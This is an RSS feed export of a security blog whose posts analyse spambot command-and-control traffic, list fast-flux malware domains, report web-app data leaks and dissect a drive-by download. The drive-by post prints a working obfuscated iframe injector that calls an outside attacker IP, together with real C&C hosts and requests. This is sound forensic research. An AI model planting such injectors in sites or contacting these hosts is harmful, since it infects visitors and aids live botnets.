<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BjOG - Bjou's Blog, that is! &#187; IT-Security</title>
	<atom:link href="http://www.bjou.de/blog/category/geek-talk/it-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bjou.de/blog</link>
	<description>Whose Blog? Bjou's Blog!</description>
	<lastBuildDate>Sat, 17 Jul 2010 16:12:41 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Datenleck bei Saturn: Alles nur eine Frage der Technik?</title>
		<link>http://www.bjou.de/blog/2009/12/datenleck-bei-saturn-alles-nur-eine-frage-der-technik/</link>
		<comments>http://www.bjou.de/blog/2009/12/datenleck-bei-saturn-alles-nur-eine-frage-der-technik/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 12:22:45 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=292</guid>
		<description><![CDATA[Die geflügelten Sprüche von Saturn, die man zu genüge aus Funk und Fernsehen kennt, werden mit dem aktuellen Datenleck im MP3-Shop ad absurdum geführt. So war es durch einfaches Surfen auf den Seiten des MP3-Shops möglich, auf die Daten von Dritten zuzugreifen &#8211; ohne irgendwelche Eingriffe in URL oder ähnlichem. Das ist ein klares Zeichen [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Die geflügelten Sprüche von Saturn, die man zu genüge aus Funk und Fernsehen kennt, werden mit dem aktuellen <a href="http://www.heise.de/newsticker/meldung/Datenleck-in-Saturns-MP3-Shop-893378.html" target="_blank"><strong>Datenleck im MP3-Shop</strong></a> ad absurdum geführt. So war es durch einfaches Surfen auf den Seiten des MP3-Shops möglich, auf die Daten von Dritten zuzugreifen &#8211; ohne irgendwelche Eingriffe in URL oder ähnlichem. Das ist ein klares Zeichen für einen <strong>Bug im Session Management der Applikation</strong>, einem Aspekt, der bei jedem ordentlich ausgeführten Web Application Penetrationstest eigentlich überprüft werden müsste. Durch den Fehler in der Web Applikation kam es nun also zu ungewolltem<strong> Session Hijacking</strong> durch Dritte.</p>
<ul>
<li>Geiz ist geil?</li>
<li>Alles nur eine Frage der Technik?</li>
</ul>
<p style="text-align: justify;">Zumindest wenn es um die <strong>Sicherheit der Kundendaten </strong>geht, ist Geiz zumindest nicht so geil. Lustig, dass Saturn trotzdem verspricht: &#8220;<em>Ihre bei uns gespeicherten Daten schützen wir und unsere Partnerunternehmen durch technische und organisatorische Maßnahmen, um einem Missbrauch durch Dritte wirkungsvoll vorzubeugen</em>&#8220;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2009/12/datenleck-bei-saturn-alles-nur-eine-frage-der-technik/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Datenklau ganz leicht gemacht</title>
		<link>http://www.bjou.de/blog/2008/10/datenklau-ganz-leicht-gemacht/</link>
		<comments>http://www.bjou.de/blog/2008/10/datenklau-ganz-leicht-gemacht/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 00:26:48 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[brute-force]]></category>
		<category><![CDATA[datenklau]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[id]]></category>
		<category><![CDATA[mapping]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=270</guid>
		<description><![CDATA[Der große Datenklau-Skandal bei der Telekom ist noch nicht lange her. Dass ein solches Fiasko ein Unternehmen in schlechtes Licht rücken kann, ist jedermann klar. Trotzdem ist es immer wieder erschreckend, auf welch leichte Schulter einige Unternehmen ihre Datensicherheit nehmen. Naivität ist hier ganz groß geschrieben &#8211; erst recht, wenn eine Lücke bekannt ist, aber [...]]]></description>
			<content:encoded><![CDATA[<p>Der große <a href="http://www.manager-magazin.de/it/artikel/0,2828,583203,00.html">Datenklau-Skandal</a> bei der Telekom ist noch nicht lange her. Dass ein solches Fiasko ein Unternehmen in schlechtes Licht rücken kann, ist jedermann klar. Trotzdem ist es immer wieder erschreckend, auf welch leichte Schulter einige Unternehmen ihre Datensicherheit nehmen. Naivität ist hier ganz groß geschrieben &#8211; erst recht, wenn eine Lücke bekannt ist, aber sich einfach keiner darum kümmern mag/darf/soll.</p>
<p>Vor ein paar Jahren hatte ich mich bei einer Agentur eingeschrieben, die Hochschulabsolventen, Young Professionals und Studierende in Teil- oder Vollzeit an Unternehmen vermittelt. Nachdem ich nun (auf anderen Wegen) einen Job gefunden habe, wollte ich meine Daten dort löschen (lassen). Zugriff auf sein eigenes hinterlegtes Profil in der Datenbank (für Updates) erlangte man über einen einfachen Link der Form</p>
<p><code>http://www.firma.xx/xxxxxxxx/xxxxxx.php?id=&lt;userID&gt;&#038;hash=&lt;someHash&gt;</code></p>
<p>Verdächtig genug &#8211; keinerlei weitere Authentifikation. Der Hash, als Mapping auf die ID, sollte wohl Verifikation genug sein, um nicht auf andere Daten zugreifen zu können. Eine Art Passwort also, das der User jedoch nicht kennen muss, außer er will seine eigenen Daten updaten. Dann bekommt er den Link über die Firma zugeschickt. Um die Daten zu löschen fand man im eigenen Bestand jedoch keine Möglichkeit, also bat ich darum per e-mail. Long story short: Trotz Versicherung, dass die Daten gelöscht würden, geschah lange nichts und ich musste die Jungs dort vier Mal anschreiben &#8211; eigentlich unverschämt. Irgendwann wurde es mir zu viel und ich begann, das oben genannte Mapping über den Hash auf Sicherheitstauglichkeit zu überprüften. Die Sicherheitslücke, die ich dort fand, war gravierend. Letzendlich wurde der Raum, den der Hash bot, nicht einmal voll ausgenutzt, was es prinzipiell ermöglicht, über einfachste Brute-Force Techniken Nutzerdaten auszulesen. Eine kleine Hochrechnung zeigte, dass nur wenige Trial &#038; Error Requests zur vollkommenen Entblößung des Datenbestandes weiterer Nutzer führte. Das Krasse an der Geschichte ist jedoch, dass das Unternehmen trotz meiner sofortigen Alarmierung mit der dringenden Bitte, diesen Security-Fauxpas zu fixen, bis heute (drei Wochen später) nichts dergleichen unternommen hat. Nicht einmal ein Statement wurde dazu abgegeben, ich bekam keine Antwort auf den Sachverhalt. Aber wenigstens habe ich erreicht was ich eigentlich wollte: Meine Daten sind gelöscht und damit erstmal sicher&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/10/datenklau-ganz-leicht-gemacht/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cutwail and Rustock/Costrat: Same Command-and-Control Network</title>
		<link>http://www.bjou.de/blog/2008/09/cutwail-and-rustockcostrat-same-cc/</link>
		<comments>http://www.bjou.de/blog/2008/09/cutwail-and-rustockcostrat-same-cc/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 12:28:02 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[backend]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[control nodes]]></category>
		<category><![CDATA[costrat]]></category>
		<category><![CDATA[cutwail]]></category>
		<category><![CDATA[indentical]]></category>
		<category><![CDATA[mccolo]]></category>
		<category><![CDATA[mothership]]></category>
		<category><![CDATA[rustock]]></category>
		<category><![CDATA[same]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=263</guid>
		<description><![CDATA[Yesterday I posted an analysis of Cutwail, today, while analyzing a Rustock/Costrat binary, I found something interesting:
Cutwail issued the following command to 208.66.194.232:80 (hosted by McColo, known for hosting nefarious stuff)
GET /40E80010484449525657494F5357594C49584F456C000000066600000000760000046BEB000530CDE1E7ED HTTP/1.0
receiving the answer from the web server
HTTP/1.0 200 OK
Date: Fri, 29 Aug 2008 18:21:44 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch9
Last-Modified: Fri, 29 Aug 2008 18:21:44 [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday <a href="http://www.bjou.de/blog/2008/09/a-little-cutwail-spambot-analysis-on-network-traffic/">I posted an analysis of Cutwail</a>, today, while analyzing a Rustock/Costrat binary, I found something interesting:</p>
<p>Cutwail issued the following command to 208.66.194.232:80 (hosted by McColo, known for hosting nefarious stuff)<br />
<code>GET /40E80010484449525657494F5357594C49584F456C000000066600000000760000046BEB000530CDE1E7ED HTTP/1.0</code></p>
<p>receiving the answer from the web server</p>
<p><code>HTTP/1.0 200 OK<br />
Date: Fri, 29 Aug 2008 18:21:44 GMT<br />
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch9<br />
Last-Modified: Fri, 29 Aug 2008 18:21:44 GMT<br />
Cache-Control: no-cache<br />
Content-Length: 326160<br />
Connection: close<br />
Content-Type: application/octet-stream</code></p>
<p>followed by an encrypted/encoded binary. I have not been able to check that file out by now, but I might provide it to the interested reader upon request. The Rustock/Costrat binaries connect to the same network. These connections by Rustock to 208.66.194.0/24 are verified by <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-070513-1305-99&#038;tabid=2">Symantec</a> and <a href="http://www.threatexpert.com/report.aspx?uid=d82a1037-93c8-4842-9fcd-771248c98b40">ThreatExpert</a>.</p>
<p>Yet another proof that the <a href="http://taint.org/2008/08/28/123704a.html">top spam botnets are linked together in certain ways</a>, this time in command-and-control.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/09/cutwail-and-rustockcostrat-same-cc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A little Cutwail spambot analysis on network traffic</title>
		<link>http://www.bjou.de/blog/2008/09/a-little-cutwail-spambot-analysis-on-network-traffic/</link>
		<comments>http://www.bjou.de/blog/2008/09/a-little-cutwail-spambot-analysis-on-network-traffic/#comments</comments>
		<pubDate>Tue, 23 Sep 2008 23:11:13 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[botnets]]></category>
		<category><![CDATA[breack captcha]]></category>
		<category><![CDATA[cutwail]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[pushdo]]></category>
		<category><![CDATA[scanning]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[templates]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=255</guid>
		<description><![CDATA[Recently, while analyzing network traffic of a Cutwail binary (a spambot commonly installed by a trojan of the Pushdo family), I found some interesting behavior in its command-and-control communication. Although I expected some encrypted HTTP communication on port 4080 as stated in the recent research about the TOP Spam Botnets from April 2008, I found [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, while analyzing network traffic of a Cutwail binary (a spambot commonly installed by a trojan of the Pushdo family), I found some interesting behavior in its command-and-control communication. Although I expected some encrypted HTTP communication on port 4080 as stated in the recent research about the <a href="http://www.secureworks.com/research/threats/topbotnets/?threat=topbotnets">TOP Spam Botnets</a> from April 2008, I found a completely different setup. First, there have been over a dozen backend nodes (motherships) all in the 216.195.[52-63] range. Analyzing the binary revealed more hard-coded IP addresses in Russia and the US:<span id="more-255"></span><br />
<center><br />
<!--adsense#anzeigenblocknurtext--><br />
</center><br />
<code><br />
78.109.30.80<br />
78.109.30.64<br />
78.109.30.56<br />
78.109.30.48<br />
78.109.30.24<br />
78.109.30.32<br />
78.109.30.16<br />
78.109.29.240<br />
78.109.29.232<br />
78.109.30.8<br />
216.195.63.18<br />
216.195.57.116<br />
208.71.130.48<br />
208.71.130.144<br />
216.195.63.19<br />
216.195.63.20<br />
216.195.63.25<br />
216.195.63.36<br />
216.195.56.250<br />
216.195.56.251<br />
216.195.57.125<br />
216.195.63.21<br />
216.195.63.22<br />
216.195.63.23<br />
216.195.63.24<br />
216.195.52.17<br />
216.195.52.18<br />
216.195.52.157<br />
</code></p>
<p>Moreover, traffic was not completely encrypted and not at all on port 4080/tcp. Ports in use have been 7230/tcp (encrypted), 8195/tcp (encrypted), 8001/tcp (plain), 3078 (plain) and 3128 (plain with base64-encoded HTTP payload representing IP addresses (in decimal) for whatever reason, see below). Again, data shown is not sanitized or censored in any way.</p>
<p><code>POST / HTTP/1.1<br />
Accept: */*<br />
Accept-Language: en<br />
Cache-Control: no-cache<br />
Pragma: no-cache<br />
Accept-Charset: iso-8859-1<br />
Accept-Encoding: gzip, deflate<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)<br />
Host: 216.195.55.10:3128<br />
Content-Length: 85<br />
Connection: Keep-Alive</p>
<p>data=5NIkrmdE9mkmNhBBD+yxLNZAUjtwQNC0uO4Gxf17PH6RUuBFmKfWGzYC6IecvQ3INDLDOEaJlyr37hwE</p>
<p>HTTP/1.1 200 OK<br />
Accept-Ranges: bytes<br />
Connection: close<br />
Content-Type: text/html<br />
Cache-Control: no-cache<br />
Date: Fri, 29 Aug 2008 19:23:32 GMT<br />
Last-Modified: Fri, 29 Aug 2008 19:23:32 GMT<br />
Server: Apache/1.3.35 (Unix) PHP/4.4.2<br />
Content-Length: 110</p>
<p>{NTQx9k+dqZV6afQgf2ABxEjDK5OPtU2/XPa8nj4GndeDqESDAmD0XeGBu1SS7ux0pL9vTIIFzqeYtyMXbJQMOZxHIz2ZaBBWFnttDXrlUcp=}.</code><br />
<center><br />
<!--adsense#linkblockbreit--><br />
</center><br />
Moreover, I found that the bots tried to automatically create Hotmail accounts using an XML template that has been provided by a mothership before. <a href="http://www.bjou.de/blog/wp-content/uploads/cutwailTemplate.txt">I uploaded the template for the interested reader</a>. This template is a guide through the Hotmail signup form, apparently also able to break CAPTCHAs. Furthermore, one bot additionally downloaded nmap and received instructions from a mothership containing nmap options and IP addresses. </p>
<p><code>.{....+\....-T5 -sV.128.194.136.173.53,80...+\....-T5 -sV.128.194.136.147.53,80...+\....-T5 -sV.128.194.137.81.53,80...+\....-T5 -sV.128.194.137.101.53,80...+\....-T5 -sV.128.194.136.240.53,80...+\....-T5 -sV.128.194.137.16.53,80...+\....-T5 -sV.128.194.137.136.53,80...+\....-T5 -sV.128.194.137.95.53,80...+\....-T5 -sV.128.194.137.35.53,80...+\....-T5 -sV.128.194.137.42.53,80.</code></p>
<p>Option -sV: Probe open ports to determine service/version info<br />
Option -T5: Set timing template (higher is faster) <&#8211; 5 is the highest</p>
<p>As can be seen, the control in the botnet&#8217;s background is done via pretty diverse channels. Of course, one major task of the bot is still spamming, this short analysis concentrated on its C&#038;C, however, using binaries from July/August 2008. Note, that this study might not be up to date any more by now&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/09/a-little-cutwail-spambot-analysis-on-network-traffic/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New Fast-Flux Domains served by Warezov/Stration</title>
		<link>http://www.bjou.de/blog/2008/08/new-fast-flux-domains-served-by-warezovstration/</link>
		<comments>http://www.bjou.de/blog/2008/08/new-fast-flux-domains-served-by-warezovstration/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 16:39:21 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[domain names]]></category>
		<category><![CDATA[fast flux]]></category>
		<category><![CDATA[stration]]></category>
		<category><![CDATA[warezov]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=245</guid>
		<description><![CDATA[Quick and dirty: Some new domain names (most of them created end of last week (7th-9th of August)) found during my analysis of a Warezov/Stration Binary. All of them are fast-fluxed. Expect some spam with these domains pretty soon. It probably already started, as my Honeypot served a lot of DNS Queries. Some domains already [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bjou.de/blog/wp-content/uploads/warezov-ff.png"><img src="http://www.bjou.de/blog/wp-content/uploads/warezov-ff-150x150.png" alt="" title="warezov-ff" width="150" height="150" class="alignleft size-thumbnail wp-image-246" hspace=5 vspace=5 /></a>Quick and dirty: Some new domain names (most of them created end of last week (7th-9th of August)) found during my analysis of a Warezov/Stration Binary. All of them are fast-fluxed. Expect some spam with these domains pretty soon. It probably already started, as my Honeypot served a lot of DNS Queries. Some domains already work (&#8220;<a href="http://www.spamtrackers.eu/wiki/index.php?title=Canadian_Pharmacy">European Pharmacy</a>&#8220;, see screenshot), others still don&#8217;t. Domain Name List:<br />
<span id="more-245"></span><br />
aboutfight.com<br />
actwalk.com<br />
agaj.originalhour.com<br />
angerrub.com<br />
areice.com<br />
beautyeither.com<br />
behindmountain.com<br />
bothcatch.com<br />
brotherfound.com<br />
callsuffix.com<br />
changecame.com<br />
circlehas.com<br />
commonwant.com<br />
considercrop.com<br />
cookchair.com<br />
countrybroad.com<br />
cowsquare.com<br />
determinenew.com<br />
developan.com<br />
divisionword.com<br />
drawred.com<br />
driveuntil.com<br />
earsection.com<br />
elsewinter.com<br />
especiallydesert.com<br />
especiallymillion.com<br />
excitecount.com<br />
factself.com<br />
finalfarm.com<br />
gh.originalhour.com<br />
girlbird.com<br />
glasswild.com<br />
happyany.com<br />
hereproduce.com<br />
highproper.com<br />
hitnecessary.com<br />
holdrail.com<br />
inchevent.com<br />
indicatelisten.com<br />
interestsell.com<br />
joinlevel.com<br />
laughname.com<br />
legbe.com<br />
meetclaim.com<br />
middleglass.com<br />
muchthey.com<br />
naturalbegin.com<br />
onbranch.com<br />
originalhour.com<br />
pitchtouch.com<br />
pointjoin.com<br />
possiblesaid.com<br />
pullgone.com<br />
qprzyr.originalhour.com<br />
recordchief.com<br />
rememberseed.com<br />
richeach.com<br />
ridespread.com<br />
rlek.originalhour.com<br />
<a href="http://www.siteadvisor.com/sites/rolldivision.com/postid/?p=1052106">rolldivision.com</a><br />
roperoll.com<br />
safeelement.com<br />
seasonleave.com<br />
seatfear.com<br />
seemship.com<br />
sibt.originalhour.com<br />
sightevening.com<br />
sliphalf.com<br />
solutionthrow.com<br />
speakoccur.com<br />
stoodplane.com<br />
suffixsupport.com<br />
systemneighbor.com<br />
thisistestdomain.ntd<br />
truckproperty.com<br />
typefeel.com<br />
u.originalhour.com<br />
whilemeasure.com<br />
wholehis.com<br />
www.actwalk.com<br />
www.beentouch.com<br />
www.bothcatch.com<br />
www.developan.com<br />
www.especiallymillion.com<br />
www.excitecount.com<br />
www.fruitspell.com<br />
www.girlbird.com<br />
www.glasswild.com<br />
www.happyany.com<br />
www.inchevent.com<br />
www.ormade.com<br />
www.pointjoin.com<br />
www.rolldivision.com<br />
www.suffixsupport.com<br />
www.systemneighbor.com<br />
www.thankbranch.com<br />
www.trackpaint.com<br />
www.typefeel.com<br />
www.whethermotion.com<br />
yetamong.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/08/new-fast-flux-domains-served-by-warezovstration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Storm Campaign and Domains</title>
		<link>http://www.bjou.de/blog/2008/08/new-storm-campaign-and-domains/</link>
		<comments>http://www.bjou.de/blog/2008/08/new-storm-campaign-and-domains/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 17:56:28 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[fast flux]]></category>
		<category><![CDATA[new campaign]]></category>
		<category><![CDATA[postcard.exe]]></category>
		<category><![CDATA[storm domains]]></category>
		<category><![CDATA[storm worm]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=236</guid>
		<description><![CDATA[Now I am not a tracker of storm campaigns nor binaries, I am just a casual binary analyst, but today while running a storm gateway for research purposes, I found some new domains going along with the revisited love theme and its postcard.exe.
worldpostcardart.com
superlettercard.com
yourlettercard.com
freepostcardonline.com
digitalaudiopostcard.com
lettercardadvertising.com
bestlettercard.com
audiopostcardmail.com
supergreetingcard.com
oldpostcardshop.com
While all the above domains have been created on August, 2nd, the following [...]]]></description>
			<content:encoded><![CDATA[<p>Now I am not a tracker of storm campaigns nor binaries, I am just a casual binary analyst, but today while running a storm gateway for research purposes, I found some new domains going along with the <a href="http://www.sudosecure.net/archives/189">revisited love theme and its postcard.exe</a>.</p>
<p>worldpostcardart.com<br />
superlettercard.com<br />
yourlettercard.com<br />
freepostcardonline.com<br />
digitalaudiopostcard.com<br />
lettercardadvertising.com<br />
bestlettercard.com<br />
audiopostcardmail.com<br />
supergreetingcard.com<br />
oldpostcardshop.com</p>
<p>While all the above domains have been created on August, 2nd, the following domain offers the Nameservers and has been created on July, 28th</p>
<p>brprbgok6.com</p>
<p><strong>Dig</strong>ing these domains returns one IP with a TTL of 60 seconds, indicating <a href="http://www.honeynet.org/papers/ff/fast-flux.html">Fast-Flux</a>. I have not investigated earlier campaigns, but I wondered why only one IP was returned; typically for Fast-Flux, there is a whole bunch of short-lived IPs returned for one domain name.</p>
<p>The campaign&#8217;s website is kept simple:<br />
<code>Your download will start shortly. If you are unable to see your postcard, save it in and run on your computer.<br />
</code></p>
<p>The Binaries&#8217; AntiVir Detection Rate is <strong>19/36</strong> (52.78%)</p>
<p>As I am the first to blog this and as I am currently not running a Storm Spambot, I guess we need to wait for <a href="http://www.sudosecure.net/">Jeremy</a> to fire up his automated extraction scripts for more insight on the respective spam messages <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Update Aug 6th</strong>: Today I found more information on the spam messages at the Trend Micro Blog: <a href="http://blog.trendmicro.com/storm-uses-old-bait/">http://blog.trendmicro.com/storm-uses-old-bait/</a>.<br />
Took them some time though&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/08/new-storm-campaign-and-domains/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Interesting Pattern in Storm Worm Traffic</title>
		<link>http://www.bjou.de/blog/2008/07/interesting-pattern-in-storm-worm-traffic/</link>
		<comments>http://www.bjou.de/blog/2008/07/interesting-pattern-in-storm-worm-traffic/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 16:52:25 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[storm worm pattern traffic bootstrapping analysis]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=233</guid>
		<description><![CDATA[Thorsten Holz kindly offered to blog my findings in Storm Worm Traffic for a larger readership. Maybe there will be some ideas on the mentioned patterns&#8230;
]]></description>
			<content:encoded><![CDATA[<p><a href="http://pi1.informatik.uni-mannheim.de/index.php?inc=staffhome.php3&#038;user_id=28">Thorsten Holz</a> kindly offered to <a href="http://honeyblog.org/archives/196-Interesting-Pattern-in-Storm-Worm-Traffic.html">blog my findings in Storm Worm Traffic</a> for a larger readership. Maybe there will be some ideas on the mentioned patterns&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/07/interesting-pattern-in-storm-worm-traffic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forensics: Anatomy of a Drive-by-Download Attack</title>
		<link>http://www.bjou.de/blog/2008/07/forensics-anatomy-of-a-drive-by-download-attack/</link>
		<comments>http://www.bjou.de/blog/2008/07/forensics-anatomy-of-a-drive-by-download-attack/#comments</comments>
		<pubDate>Sat, 05 Jul 2008 13:38:36 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[drive by download]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=232</guid>
		<description><![CDATA[The other day I checked a rarely used website of mine for its its source, where I found some suspicious code. It seemed to be some kind of malicious iframe code for drive-by downloads, so I started my investigation on it. Be alarmed: I will NOT censor any of that code, so be sure NOT [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I checked a rarely used website of mine for its its source, where I found some suspicious code. It seemed to be some kind of malicious iframe code for drive-by downloads, so I started my investigation on it. <strong>Be alarmed</strong>: I will <strong>NOT</strong> censor any of that code, so be sure <strong>NOT</strong> to visit these websites unless you know what you are doing.<br />
<span id="more-232"></span><br />
Now here is the obfuscated JavaScript code:</p>
<p><code>&lt;!-- Nerzul --&gt;&lt;script type="text/javascript"><br />
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0035\u0038\u002e\u0036\u0035\u002e\u0032\u0033\u0035\u002e\u0034\u0031\u002f\u006c\u006c\u006c\u006c\u002f\u0073\u0074\u0064\u0073\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u003f\u0073\u0069\u0064\u003d\u0031\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');<br />
&lt;/script&gt;</code></p>
<p>which decodes to</p>
<p><code>&lt;iframe src="http://58.65.235.41/llll/stds/index.php?sid=1" width=1 height=1 style="visibility:hidden;position:absolute"&gt;&lt;/iframe&gt;</code></p>
<p>Just to be on the safe side, I used a virtual machine, <a href="http://www.sandboxie.com/">Sandbox Technologies</a> and Wireshark to visit the website and capture the packets. After the HTTP GET request on that site, a &#8220;<em>GET /llll/stds/go.php?sid=1 HTTP/1.1\r\n</em>&#8221; was executed, which forwarded to &#8220;<em>GET /llll/ts/index.php HTTP/1.1\r\n</em>&#8220;. This request occurred every 24 seconds. Following every single request, I got a lof of &#8220;Continuation or non-HTTP Traffic&#8221;, meaning there were some packets on port 80 without the HTTP header. There was a lot of HTTP-data like &#8220;<em>Data: 783932494B4148407542324C4E414833563358417A46484D&#8230;</em>&#8220;, so I decided to use <a href="http://chaosreader.sourceforge.net/">chaosreader</a> to gain some better understanding.<br />
I got <a href="http://www.bjou.de/blog/wp-content/uploads/jsMaliciousCodeObfuscated.txt">this interesting result</a>. In total I got a lot of these obviously heavily obfuscated data, but they did not seem to differ alot. I de-obfuscated them using <a href="http://malzilla.sourceforge.net/">malzilla</a> and did a &#8220;<em>diff</em>&#8221; on some of them:</p>
<p><code>[~/malicious]$diff exploit1 exploit2<br />
177c177<br />
<                               var fname="winSnp6O4.exe";<br />
---<br />
>                               var fname="winbtHWMzX7lmTK.exe";<br />
[02:24:01] [~/malicious]$diff exploit2 exploit3<br />
177c177<br />
<                               var fname="winbtHWMzX7lmTK.exe";<br />
---<br />
>                               var fname="winIZdWt3zQl5YEQb.exe";<br />
[02:24:06] [~/malicious]$diff exploit3 exploit4<br />
177c177<br />
<                               var fname="winIZdWt3zQl5YEQb.exe";<br />
---<br />
>                               var fname="winK6S9dnplSskzh.exe";<br />
</code></p>
<p>So we see, only the filenames changed. Moreover, when analyzing the <a href="http://www.bjou.de/blog/wp-content/uploads/jsMaliciousCodeDeobfuscated.txt">de-obfuscated JS-code</a>, it can be seen that this file includes nine different exploit vectors, including Microsoft&#8217;s <a href="http://www.microsoft.com/technet/security/Bulletin/ms06-014.mspx">MDAC</a>, <a href="http://www.securityfocus.com/bid/19030">Webview Folder Icon</a> and <a href="http://www.securiteam.com/windowsntfocus/5LP0Q2KJFU.html">DirectAnimation Heap Overflow</a> Vulnerabilities, Macromedia&#8217;s <a href="http://blogs.zdnet.com/security/?p=1189">Flash Vulnerability</a> and some more that I did not investigate.<br />
The script will start with <em>attack(1);</em>, trying to create <em>Shell Application</em> Objects for several classids and then it will create an <em>ADODB Stream</em> and save the <em>responseBody </em>received via XMLHTTP to a file with the fixed letters &#8220;win&#8221; followed by some random ones (see above). While debugging the code on my system, creating the shell application object failed (its return value was <em>null</em>), so I haven&#8217;t been able to open the stream and analyze that file.<br />
However, after failing of attack1 and attack2 (the swf exploit, the url did not ping), the other exploits were being run, but I did not go further into analysis there&#8230;</p>
<p>So now only the question remains, how that code came into the index.html pages of my website. My FTP password is rather strong, so that can&#8217;t be it and neither can social engineering or SQL Injections, as it was pure HTML without any DB backend. Waiting for an answer from my webhoster&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2008/07/forensics-anatomy-of-a-drive-by-download-attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cross Site Scripting (XSS)</title>
		<link>http://www.bjou.de/blog/2007/02/cross-site-scripting-xss/</link>
